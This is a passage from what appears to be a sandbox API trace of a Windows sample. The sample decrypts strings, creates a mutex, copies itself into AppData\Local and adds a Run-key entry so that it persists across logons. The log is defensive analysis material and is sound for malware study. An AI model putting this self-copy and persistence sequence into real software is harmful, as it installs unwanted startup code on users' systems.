| out: phKey=0xcff5f0*=0xd72338) returned 1 [0036.413] CryptSetKeyParam (hKey=0xd72338, dwParam=0x1, pbData=0xcff5d8, dwFlags=0x0) returned 1 [0036.413] CryptDecrypt (in: hKey=0xd72338, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2964e48, pdwDataLen=0xcff5a4 | out: pbData=0x2964e48, pdwDataLen=0xcff5a4) returned 1 [0036.413] CryptDestroyKey (hKey=0xd72338) returned 1 [0036.413] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x8, Size=0x34) returned 0x2964e90 [0036.413] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773000") returned 0x0 [0036.413] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\0001B419773000") returned 0x1d0 [0036.414] WaitForSingleObject (hHandle=0x1d0, dwMilliseconds=0x0) returned 0x0 [0036.414] HeapFree (in: hHeap=0x2960000, dwFlags=0x0, lpMem=0x2964e48 | out: hHeap=0x2960000) returned 1 [0036.414] HeapFree (in: hHeap=0x2960000, dwFlags=0x0, lpMem=0x2964e90 | out: hHeap=0x2960000) returned 1 [0036.414] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x1081f5f, lpParameter=0xcff68c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1f8 [0036.414] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x0, Size=0x60) returned 0x2964e48 [0036.414] CryptImportKey (in: hProv=0xd64968, pbData=0xcff598, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xcff600 | out: phKey=0xcff600*=0xd72438) returned 1 [0036.414] CryptSetKeyParam (hKey=0xd72438, dwParam=0x1, pbData=0xcff5e8, dwFlags=0x0) returned 1 [0036.414] CryptDecrypt (in: hKey=0xd72438, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2964e48, pdwDataLen=0xcff5b4 | out: pbData=0x2964e48, pdwDataLen=0xcff5b4) returned 1 [0036.414] CryptDestroyKey (hKey=0xd72438) returned 1 [0036.414] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x0, Size=0x20) returned 0x2964eb0 [0036.414] CryptImportKey (in: hProv=0xd64968, pbData=0xcff570, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xcff5d8 | out: phKey=0xcff5d8*=0xd72878) returned 1 [0036.414] CryptSetKeyParam (hKey=0xd72878, dwParam=0x1, pbData=0xcff5c0, dwFlags=0x0) returned 1 [0036.414] CryptDecrypt (in: hKey=0xd72878, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2964eb0, pdwDataLen=0xcff58c | out: pbData=0x2964eb0, pdwDataLen=0xcff58c) returned 1 [0036.414] CryptDestroyKey (hKey=0xd72878) returned 1 [0036.415] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x8, Size=0x1e) returned 0x2964ed8 [0036.415] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x0, Size=0x1e) returned 0x2964f00 [0036.415] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x0, Size=0x90) returned 0x2964f28 [0036.415] CryptImportKey (in: hProv=0xd64968, pbData=0xcff548, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xcff5b0 | out: phKey=0xcff5b0*=0xd72878) returned 1 [0036.415] CryptSetKeyParam (hKey=0xd72878, dwParam=0x1, pbData=0xcff598, dwFlags=0x0) returned 1 [0036.415] CryptDecrypt (in: hKey=0xd72878, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2964f28, pdwDataLen=0xcff564 | out: pbData=0x2964f28, pdwDataLen=0xcff564) returned 1 [0036.415] CryptDestroyKey (hKey=0xd72878) returned 1 [0036.415] HeapFree (in: hHeap=0x2960000, dwFlags=0x0, lpMem=0x2964f28 | out: hHeap=0x2960000) returned 1 [0036.415] ExpandEnvironmentStringsW (in: lpSrc="%localappdata%", lpDst=0x2964ed8, nSize=0xf | out: lpDst="") returned 0x1e [0036.415] HeapFree (in: hHeap=0x2960000, dwFlags=0x0, lpMem=0x2964f00 | out: hHeap=0x2960000) returned 1 [0036.415] RtlReAllocateHeap (Heap=0x2960000, Flags=0x0, Ptr=0x2964ed8, Size=0x3a) returned 0x2964ed8 [0036.415] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x0, Size=0x3a) returned 0x2964f20 [0036.415] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x0, Size=0x90) returned 0x2961008 [0036.415] CryptImportKey (in: hProv=0xd64968, pbData=0xcff544, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xcff5ac | out: phKey=0xcff5ac*=0xd726f8) returned 1 [0036.415] CryptSetKeyParam (hKey=0xd726f8, dwParam=0x1, pbData=0xcff594, dwFlags=0x0) returned 1 [0036.415] CryptDecrypt (in: hKey=0xd726f8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2961008, pdwDataLen=0xcff560 | out: pbData=0x2961008, pdwDataLen=0xcff560) returned 1 [0036.415] CryptDestroyKey (hKey=0xd726f8) returned 1 [0036.415] HeapFree (in: hHeap=0x2960000, dwFlags=0x0, lpMem=0x2961008 | out: hHeap=0x2960000) returned 1 [0036.415] ExpandEnvironmentStringsW (in: lpSrc="%localappdata%", lpDst=0x2964ed8, nSize=0x1d | out: lpDst="") returned 0x1e [0036.415] HeapFree (in: hHeap=0x2960000, dwFlags=0x0, lpMem=0x2964f20 | out: hHeap=0x2960000) returned 1 [0036.415] RtlReAllocateHeap (Heap=0x2960000, Flags=0x0, Ptr=0x2964ed8, Size=0x72) returned 0x2964ed8 [0036.415] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x0, Size=0x72) returned 0x2964f58 [0036.415] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x0, Size=0x90) returned 0x2961008 [0036.415] CryptImportKey (in: hProv=0xd64968, pbData=0xcff544, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xcff5ac | out: phKey=0xcff5ac*=0xd72578) returned 1 [0036.415] CryptSetKeyParam (hKey=0xd72578, dwParam=0x1, pbData=0xcff594, dwFlags=0x0) returned 1 [0036.415] CryptDecrypt (in: hKey=0xd72578, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2961008, pdwDataLen=0xcff560 | out: pbData=0x2961008, pdwDataLen=0xcff560) returned 1 [0036.415] CryptDestroyKey (hKey=0xd72578) returned 1 [0036.415] HeapFree (in: hHeap=0x2960000, dwFlags=0x0, lpMem=0x2961008 | out: hHeap=0x2960000) returned 1 [0036.415] ExpandEnvironmentStringsW (in: lpSrc="%localappdata%", lpDst=0x2964ed8, nSize=0x39 | out: lpDst="C:\\Users\\FD1HVy\\AppData\\Local") returned 0x1e [0036.415] HeapFree (in: hHeap=0x2960000, dwFlags=0x0, lpMem=0x2964f58 | out: hHeap=0x2960000) returned 1 [0036.415] HeapFree (in: hHeap=0x2960000, dwFlags=0x0, lpMem=0x2964eb0 | out: hHeap=0x2960000) returned 1 [0036.415] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x0, Size=0x40) returned 0x2964f58 [0036.415] CryptImportKey (in: hProv=0xd64968, pbData=0xcff56c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xcff5d4 | out: phKey=0xcff5d4*=0xd722b8) returned 1 [0036.415] CryptSetKeyParam (hKey=0xd722b8, dwParam=0x1, pbData=0xcff5bc, dwFlags=0x0) returned 1 [0036.415] CryptDecrypt (in: hKey=0xd722b8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2964f58, pdwDataLen=0xcff588 | out: pbData=0x2964f58, pdwDataLen=0xcff588) returned 1 [0036.415] CryptDestroyKey (hKey=0xd722b8) returned 1 [0036.415] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x8, Size=0x3e) returned 0x2964fa0 [0036.415] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x0, Size=0x3e) returned 0x2961008 [0036.415] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x0, Size=0x90) returned 0x2961050 [0036.416] CryptImportKey (in: hProv=0xd64968, pbData=0xcff544, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xcff5ac | out: phKey=0xcff5ac*=0xd722b8) returned 1 [0036.416] CryptSetKeyParam (hKey=0xd722b8, dwParam=0x1, pbData=0xcff594, dwFlags=0x0) returned 1 [0036.416] CryptDecrypt (in: hKey=0xd722b8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2961050, pdwDataLen=0xcff560 | out: pbData=0x2961050, pdwDataLen=0xcff560) returned 1 [0036.416] CryptDestroyKey (hKey=0xd722b8) returned 1 [0036.416] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x8, Size=0x10) returned 0x2964eb0 [0036.416] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0xcff528 | out: phkResult=0xcff528*=0x200) returned 0x0 [0036.416] RegQueryValueExW (in: hKey=0x200, lpValueName="Startup", lpReserved=0x0, lpType=0xcff524, lpData=0x2961008, lpcbData=0xcff52c*=0x3e | out: lpType=0xcff524*=0x2, lpData=0x2961008*=0xc0, lpcbData=0xcff52c*=0x98) returned 0xea [0036.416] RegCloseKey (hKey=0x200) returned 0x0 [0036.416] HeapFree (in: hHeap=0x2960000, dwFlags=0x0, lpMem=0x2964eb0 | out: hHeap=0x2960000) returned 1 [0036.416] HeapFree (in: hHeap=0x2960000, dwFlags=0x0, lpMem=0x2961050 | out: hHeap=0x2960000) returned 1 [0036.416] HeapFree (in: hHeap=0x2960000, dwFlags=0x0, lpMem=0x2961008 | out: hHeap=0x2960000) returned 1 [0036.416] RtlReAllocateHeap (Heap=0x2960000, Flags=0x0, Ptr=0x2964fa0, Size=0x7a) returned 0x2961008 [0036.416] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x0, Size=0x7a) returned 0x2961090 [0036.416] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x0, Size=0x90) returned 0x2961118 [0036.416] CryptImportKey (in: hProv=0xd64968, pbData=0xcff540, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xcff5a8 | out: phKey=0xcff5a8*=0xd727b8) returned 1 [0036.416] CryptSetKeyParam (hKey=0xd727b8, dwParam=0x1, pbData=0xcff590, dwFlags=0x0) returned 1 [0036.416] CryptDecrypt (in: hKey=0xd727b8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2961118, pdwDataLen=0xcff55c | out: pbData=0x2961118, pdwDataLen=0xcff55c) returned 1 [0036.416] CryptDestroyKey (hKey=0xd727b8) returned 1 [0036.416] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x8, Size=0x10) returned 0x2964eb0 [0036.416] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0xcff524 | out: phkResult=0xcff524*=0x200) returned 0x0 [0036.416] RegQueryValueExW (in: hKey=0x200, lpValueName="Startup", lpReserved=0x0, lpType=0xcff520, lpData=0x2961090, lpcbData=0xcff528*=0x7a | out: lpType=0xcff520*=0x2, lpData=0x2961090*=0xc0, lpcbData=0xcff528*=0x98) returned 0xea [0036.416] RegCloseKey (hKey=0x200) returned 0x0 [0036.416] HeapFree (in: hHeap=0x2960000, dwFlags=0x0, lpMem=0x2964eb0 | out: hHeap=0x2960000) returned 1 [0036.416] HeapFree (in: hHeap=0x2960000, dwFlags=0x0, lpMem=0x2961118 | out: hHeap=0x2960000) returned 1 [0036.416] HeapFree (in: hHeap=0x2960000, dwFlags=0x0, lpMem=0x2961090 | out: hHeap=0x2960000) returned 1 [0036.416] RtlReAllocateHeap (Heap=0x2960000, Flags=0x0, Ptr=0x2961008, Size=0xf2) returned 0x2961008 [0036.416] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x0, Size=0xf2) returned 0x2961108 [0036.416] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x0, Size=0x90) returned 0x2961208 [0036.416] CryptImportKey (in: hProv=0xd64968, pbData=0xcff540, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xcff5a8 | out: phKey=0xcff5a8*=0xd72878) returned 1 [0036.416] CryptSetKeyParam (hKey=0xd72878, dwParam=0x1, pbData=0xcff590, dwFlags=0x0) returned 1 [0036.416] CryptDecrypt (in: hKey=0xd72878, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2961208, pdwDataLen=0xcff55c | out: pbData=0x2961208, pdwDataLen=0xcff55c) returned 1 [0036.416] CryptDestroyKey (hKey=0xd72878) returned 1 [0036.417] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x8, Size=0x10) returned 0x2964eb0 [0036.417] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0xcff524 | out: phkResult=0xcff524*=0x200) returned 0x0 [0036.417] RegQueryValueExW (in: hKey=0x200, lpValueName="Startup", lpReserved=0x0, lpType=0xcff520, lpData=0x2961108, lpcbData=0xcff528*=0xf2 | out: lpType=0xcff520*=0x2, lpData="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpcbData=0xcff528*=0x98) returned 0x0 [0036.417] RegCloseKey (hKey=0x200) returned 0x0 [0036.417] HeapFree (in: hHeap=0x2960000, dwFlags=0x0, lpMem=0x2964eb0 | out: hHeap=0x2960000) returned 1 [0036.417] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x8, Size=0x1e) returned 0x2964eb0 [0036.417] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0xcff524 | out: phkResult=0xcff524*=0x200) returned 0x0 [0036.417] RegQueryValueExW (in: hKey=0x200, lpValueName="Common Startup", lpReserved=0x0, lpType=0xcff520, lpData=0x29611a0, lpcbData=0xcff528*=0x5a | out: lpType=0xcff520*=0x0, lpData=0x29611a0*=0x73, lpcbData=0xcff528*=0x5a) returned 0x2 [0036.417] RegCloseKey (hKey=0x200) returned 0x0 [0036.417] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0xcff538 | out: phkResult=0xcff538*=0x200) returned 0x0 [0036.417] RegQueryValueExW (in: hKey=0x200, lpValueName="Common Startup", lpReserved=0x0, lpType=0xcff534, lpData=0x29611a0, lpcbData=0xcff53c*=0x5a | out: lpType=0xcff534*=0x2, lpData=0x29611a0*=0x73, lpcbData=0xcff53c*=0x78) returned 0xea [0036.417] RegCloseKey (hKey=0x200) returned 0x0 [0036.417] HeapFree (in: hHeap=0x2960000, dwFlags=0x0, lpMem=0x2964eb0 | out: hHeap=0x2960000) returned 1 [0036.417] HeapFree (in: hHeap=0x2960000, dwFlags=0x0, lpMem=0x2961208 | out: hHeap=0x2960000) returned 1 [0036.417] HeapFree (in: hHeap=0x2960000, dwFlags=0x0, lpMem=0x2961108 | out: hHeap=0x2960000) returned 1 [0036.417] RtlReAllocateHeap (Heap=0x2960000, Flags=0x0, Ptr=0x2961008, Size=0x1e2) returned 0x2961008 [0036.417] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x0, Size=0x1e2) returned 0x29611f8 [0036.417] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x0, Size=0x90) returned 0x29613e8 [0036.417] CryptImportKey (in: hProv=0xd64968, pbData=0xcff540, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xcff5a8 | out: phKey=0xcff5a8*=0xd723f8) returned 1 [0036.417] CryptSetKeyParam (hKey=0xd723f8, dwParam=0x1, pbData=0xcff590, dwFlags=0x0) returned 1 [0036.417] CryptDecrypt (in: hKey=0xd723f8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x29613e8, pdwDataLen=0xcff55c | out: pbData=0x29613e8, pdwDataLen=0xcff55c) returned 1 [0036.417] CryptDestroyKey (hKey=0xd723f8) returned 1 [0036.417] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x8, Size=0x10) returned 0x2964eb0 [0036.417] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0xcff524 | out: phkResult=0xcff524*=0x200) returned 0x0 [0036.417] RegQueryValueExW (in: hKey=0x200, lpValueName="Startup", lpReserved=0x0, lpType=0xcff520, lpData=0x29611f8, lpcbData=0xcff528*=0x1e2 | out: lpType=0xcff520*=0x2, lpData="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpcbData=0xcff528*=0x98) returned 0x0 [0036.417] RegCloseKey (hKey=0x200) returned 0x0 [0036.418] HeapFree (in: hHeap=0x2960000, dwFlags=0x0, lpMem=0x2964eb0 | out: hHeap=0x2960000) returned 1 [0036.418] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x8, Size=0x1e) returned 0x2964eb0 [0036.418] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0xcff524 | out: phkResult=0xcff524*=0x200) returned 0x0 [0036.418] RegQueryValueExW (in: hKey=0x200, lpValueName="Common Startup", lpReserved=0x0, lpType=0xcff520, lpData=0x2961290, lpcbData=0xcff528*=0x14a | out: lpType=0xcff520*=0x0, lpData=0x2961290*=0x73, lpcbData=0xcff528*=0x14a) returned 0x2 [0036.418] RegCloseKey (hKey=0x200) returned 0x0 [0036.418] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0xcff538 | out: phkResult=0xcff538*=0x200) returned 0x0 [0036.418] RegQueryValueExW (in: hKey=0x200, lpValueName="Common Startup", lpReserved=0x0, lpType=0xcff534, lpData=0x2961290, lpcbData=0xcff53c*=0x14a | out: lpType=0xcff534*=0x2, lpData="%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpcbData=0xcff53c*=0x78) returned 0x0 [0036.418] RegCloseKey (hKey=0x200) returned 0x0 [0036.418] HeapFree (in: hHeap=0x2960000, dwFlags=0x0, lpMem=0x2964eb0 | out: hHeap=0x2960000) returned 1 [0036.418] HeapFree (in: hHeap=0x2960000, dwFlags=0x0, lpMem=0x29613e8 | out: hHeap=0x2960000) returned 1 [0036.418] ExpandEnvironmentStringsW (in: lpSrc="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup;%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpDst=0x2961008, nSize=0xf1 | out: lpDst="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup;C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup") returned 0x8b [0036.418] HeapFree (in: hHeap=0x2960000, dwFlags=0x0, lpMem=0x29611f8 | out: hHeap=0x2960000) returned 1 [0036.418] HeapFree (in: hHeap=0x2960000, dwFlags=0x0, lpMem=0x2964f58 | out: hHeap=0x2960000) returned 1 [0036.418] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x0, Size=0x20a) returned 0x29611f8 [0036.418] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x0, Size=0x20a) returned 0x2964f58 [0036.418] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x0, Size=0x20a) returned 0x2965170 [0036.418] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x0, Size=0x20a) returned 0x2965388 [0036.418] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x29611f8, nSize=0x104 | out: lpFilename="C:\\Users\\FD1HVy\\Desktop\\ph_exec.exe1.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\ph_exec.exe1.exe")) returned 0x28 [0036.418] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x0, Size=0x20a) returned 0x29655a0 [0036.418] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x29655a0, nSize=0x104 | out: lpFilename="C:\\Users\\FD1HVy\\Desktop\\ph_exec.exe1.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\ph_exec.exe1.exe")) returned 0x28 [0036.418] HeapFree (in: hHeap=0x2960000, dwFlags=0x0, lpMem=0x29655a0 | out: hHeap=0x2960000) returned 1 [0036.418] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x0, Size=0x20a) returned 0x29655a0 [0036.418] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x29655a0, nSize=0x104 | out: lpFilename="C:\\Users\\FD1HVy\\Desktop\\ph_exec.exe1.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\ph_exec.exe1.exe")) returned 0x28 [0036.418] HeapFree (in: hHeap=0x2960000, dwFlags=0x0, lpMem=0x29655a0 | out: hHeap=0x2960000) returned 1 [0036.419] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\ph_exec.exe1.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\ph_exec.exe1.exe"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\ph_exec.exe1.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\ph_exec.exe1.exe"), bFailIfExists=0) returned 1 [0036.671] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Run", ulOptions=0x0, samDesired=0x20106, phkResult=0xcff63c | out: phkResult=0xcff63c*=0x0) returned 0x5 [0036.672] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Run", ulOptions=0x0, samDesired=0x20106, phkResult=0xcff628 | out: phkResult=0xcff628*=0x200) returned 0x0 [0036.672] RegSetValueExW (in: hKey=0x200, lpValueName="ph_exec.exe1", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Local\\ph_exec.exe1.exe", cbData=0x5c | out: lpData="C:\\Users\\FD1HVy\\AppData\\Local\\ph_exec.exe1.exe") returned 0x0 [0036.696] RegCloseKey (hKey=0x200) returned 0x0 [0036.696] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x0, Size=0x118) returned 0x2961410 [0036.696] GetLastError () returned 0x0 [0036.696] SetLastError (dwErrCode=0x0) [0036.696] GetLastError () returned 0x0 [0036.696] SetLastError (dwErrCode=0x0) [0036.696] GetLastError () returned 0x0 [0036.696] SetLastError (dwErrCode=0x0) [0036.696] GetLastError () returned 0x0 [0036.696] SetLastError (dwErrCode=0x0) [0036.696] GetLastError () returned 0x0 [0036.696] SetLastError (dwErrCode=0x0) [0036.696] GetLastError () returned 0x0 [0036.696] SetLastError (dwErrCode=0x0) [0036.696] GetLastError () returned 0x0 [0036.696] SetLastError (dwErrCode=0x0) [0036.696] GetLastError () returned 0x0 [0036.696] SetLastError (dwErrCode=0x0) [0036.696] GetLastError () returned 0x0 [0036.696] SetLastError (dwErrCode=0x0) [0036.696] GetLastError () returned 0x0 [0036.696] SetLastError (dwErrCode=0x0) [0036.696] GetLastError () returned 0x0 [0036.696] SetLastError (dwErrCode=0x0) [0036.697] GetLastError () returned 0x0 [0036.697] SetLastError (dwErrCode=0x0) [0036.697] GetLastError () returned 0x0 [0036.697] SetLastError (dwErrCode=0x0) [0036.697] GetLastError () returned 0x0 [0036.697] SetLastError (dwErrCode=0x0) [0036.697] GetLastError () returned 0x0 [0036.697] SetLastError (dwErrCode=0x0) [0036.697] GetLastError () returned 0x0 [0036.697] SetLastError (dwErrCode=0x0) [0036.697] GetLastError () returned 0x0 [0036.697] SetLastError (dwErrCode=0x0) [0036.697] GetLastError () returned 0x0 [0036.697] SetLastError (dwErrCode=0x0) [0036.697] GetLastError () returned 0x0 [0036.697] SetLastError (dwErrCode=0x0) [0036.697] GetLastError () returned 0x0 [0036.697] SetLastError (dwErrCode=0x0) [0036.697] GetLastError () returned 0x0 [0036.697] SetLastError (dwErrCode=0x0) [0036.697] GetLastError () returned 0x0 [0036.697] SetLastError (dwErrCode=0x0) [0036.697] GetLastError () returned 0x0 [0036.697] SetLastError (dwErrCode=0x0) [0036.697] GetLastError () returned 0x0 [0036.697] SetLastError (dwErrCode=0x0) [0036.697] GetLastError () returned 0x0 [0036.697] SetLastError (dwErrCode=0x0) [0036.697] GetLastError () returned 0x0 [0036.697] SetLastError (dwErrCode=0x0) [0036.698] GetLastError () returned 0x0 [0036.698] SetLastError (dwErrCode=0x0) [0036.698] GetLastError () returned 0x0 [0036.698] SetLastError (dwErrCode=0x0) [0036.698] GetLastError () returned 0x0 [0036.698] SetLastError (dwErrCode=0x0) [0036.698] GetLastError () returned 0x0 [0036.698] SetLastError (dwErrCode=0x0) [0036.698] GetLastError () returned 0x0 [0036.698] SetLastError (dwErrCode=0x0) [0036.698] GetLastError () returned 0x0 [0036.698] SetLastError (dwErrCode=0x0) [0036.698] GetLastError () returned 0x0 [0036.698] SetLastError (dwErrCode=0x0) [0036.698] GetLastError () returned 0x0 [0036.698] SetLastError (dwErrCode=0x0) [0036.698] GetLastError () returned 0x0 [0036.698] SetLastError (dwErrCode=0x0) [0036.698] GetLastError () returned 0x0 [0036.698] SetLastError (dwErrCode=0x0) [0036.698] GetLastError () returned 0x0 [0036.698] SetLastError (dwErrCode=0x0) [0036.698] GetLastError () returned 0x0 [0036.698] SetLastError (dwErrCode=0x0) [0036.698] GetLastError () returned 0x0 [0036.698] SetLastError (dwErrCode=0x0) [0036.698] GetLastError () returned 0x0 [0036.698] SetLastError (dwErrCode=0x0) [0036.698] GetLastError () returned 0x0 [0036.699] SetLastError (dwErrCode=0x0) [0036.699] GetLastError () returned 0x0 [0036.699] SetLastError (dwErrCode=0x0) [0036.699] GetLastError () returned 0x0 [0036.699] SetLastError (dwErrCode=0x0) [0036.699] GetLastError () returned 0x0 [0036.699] SetLastError (dwErrCode=0x0) [0036.699] GetLastError () returned 0x0 [0036.699] SetLastError (dwErrCode=0x0) [0036.699] GetLastError () returned 0x0 [0036.699] SetLastError (dwErrCode=0x0) [0036.699] GetLastError () returned 0x0 [0036.699] SetLastError (dwErrCode=0x0) [0036.699] GetLastError () returned 0x0 [0036.699] SetLastError (dwErrCode=0x0) [0036.699] GetLastError () returned 0x0 [0036.699] SetLastError (dwErrCode=0x0) [0036.699] GetLastError () returned 0x0 [0036.699] SetLastError (dwErrCode=0x0) [0036.699] GetLastError () returned 0x0 [0036.699] SetLastError (dwErrCode=0x0) [0036.699] GetLastError () returned 0x0 [0036.699] SetLastError (dwErrCode=0x0) [0036.699] GetLastError () returned 0x0 [0036.699] SetLastError (dwErrCode=0x0) [0036.699] GetLastError () returned 0x0 [0036.699] SetLastError (dwErrCode=0x0) [0036.699] GetLastError () returned 0x0 [0036.700] SetLastError (dwErrCode=0x0) [0036.700] GetLastError () returned 0x0 [0036.700] SetLastError (dwErrCode=0x0) [0036.700] GetLastError () returned 0x0 [0036.700] SetLastError (dwErrCode=0x0) [0036.700] GetLastError () returned 0x0 [0036.700] SetLastError (dwErrCode=0x0) [0036.700] GetLastError () returned 0x0 [0036.700] SetLastError (dwErrCode=0x0) [0036.700] GetLastError () returned 0x0 [0036.700] SetLastError (dwErrCode=0x0) [0036.700] GetLastError () returned 0x0 [0036.700] SetLastError (dwErrCode=0x0) [0036.700] GetLastError () returned 0x0 [0036.700] SetLastError (dwErrCode=0x0) [0036.700] GetLastError () returned 0x0 [0036.700] SetLastError (dwErrCode=0x0) [0036.700] GetLastError () returned 0x0 [0036.700] SetLastError (dwErrCode=0x0) [0036.700] GetLastError () returned 0x0 [0036.700] SetLastError (dwErrCode=0x0) [0036.700] GetLastError () returned 0x0 [0036.700] SetLastError (dwErrCode=0x0) [0036.700] GetLastError () returned 0x0 [0036.700] SetLastError (dwErrCode=0x0) [0036.700] GetLastError () returned 0x0 [0036.700] SetLastError (dwErrCode=0x0) [0036.700] GetLastError () returned 0x0 [0036.700] SetLastError (dwErrCode=0x0) [0036.700] GetLastError () returned 0x0 [0036.701] SetLastError (dwErrCode=0x0) [0036.701] GetLastError () returned 0x0 [0036.701] SetLastError (dwErrCode=0x0) [0036.701] GetLastError () returned 0x0 [0036.701] SetLastError (dwErrCode=0x0) [0036.701] GetLastError () returned 0x0 [0036.701] SetLastError (dwErrCode=0x0) [0036.701] GetLastError () returned 0x0 [0036.701] SetLastError (dwErrCode=0x0) [0036.701] GetLastError () returned 0x0 [0036.701] SetLastError (dwErrCode=0x0) [0036.701] GetLastError () returned 0x0 [0036.701] SetLastError (dwErrCode=0x0) [0036.701] GetLastError () returned 0x0 [0036.701] SetLastError (dwErrCode=0x0) [0036.701] GetLastError () returned 0x0 [0036.701] SetLastError (dwErrCode=0x0) [0036.701] GetLastError () returned 0x0 [0036.701] SetLastError (dwErrCode=0x0) [0036.701] GetLastError () returned 0x0 [0036.701] SetLastError (dwErrCode=0x0) [0036.701] GetLastError () returned 0x0 [0036.701] SetLastError (dwErrCode=0x0) [0036.701] GetLastError () returned 0x0 [0036.701] SetLastError (dwErrCode=0x0) 